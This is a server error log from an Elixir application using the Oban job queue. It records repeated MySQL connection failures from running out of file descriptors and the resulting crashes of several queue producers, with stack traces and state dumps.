    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:45:04.240251Z], limit: 5, uuid: "f7c14474-8cb7-4f71-a272-2ba8d41a9c60", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:45:04.240260Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.52731>, refresh_timer: #Reference<0.2525715032.1068498948.75873>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:45:19.623000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:45:21.600000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:45:22.166000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:45:22.210000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:45:22.307000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:45:27.520000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:45:28.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1096ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:45:16.246744Z], limit: 5, uuid: "d562d4ac-e01d-4778-82a3-06570440dc6b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:45:16.246749Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.67851>, refresh_timer: #Reference<0.2525715032.1068498948.76053>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:45:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1049ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:45:16.242935Z], limit: 10, uuid: "882c372a-7511-446c-866d-35682ea9e8ac", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:45:16.242942Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.67850>, refresh_timer: #Reference<0.2525715032.1068498948.76014>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:45:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 819ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:45:16.248712Z], limit: 5, uuid: "6a796979-7dcb-45e6-b43a-f8a418cb8167", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:45:16.248717Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.219277>, refresh_timer: #Reference<0.2525715032.1121189889.219267>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:45:28.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1034ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:45:16.247738Z], limit: 20, uuid: "25826cdf-4021-4a23-8ccd-ab7af189b51e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:45:16.247744Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.67895>, refresh_timer: #Reference<0.2525715032.1099431938.67865>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:45:28.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 827ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:45:16.246091Z], limit: 50, uuid: "65f629cc-af04-4817-bfa8-58ba9504f7c8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:45:16.246097Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.67848>, refresh_timer: #Reference<0.2525715032.1099431938.67840>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:45:28.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 870ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:45:16.246337Z], limit: 3, uuid: "54fa7c92-2a19-4773-a98d-2c9629f8a1c2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:45:16.246341Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.67849>, refresh_timer: #Reference<0.2525715032.1099431938.67843>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:45:28.522000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:45:29.119000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:45:31.193000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:45:33.610000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:45:34.352000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:45:34.557000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:45:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 842ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:45:28.247896Z], limit: 3, uuid: "3d7771e3-6f18-4a21-8835-727fff63caa2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:45:28.247901Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.76231>, refresh_timer: #Reference<0.2525715032.1077673987.53238>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:45:40.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 860ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:45:28.248918Z], limit: 20, uuid: "146b7652-fa9f-46aa-95e9-55ffca19c6e3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:45:28.248923Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.219447>, refresh_timer: #Reference<0.2525715032.1099431938.68117>, dispatch_cooldown: 5, running: %{}}
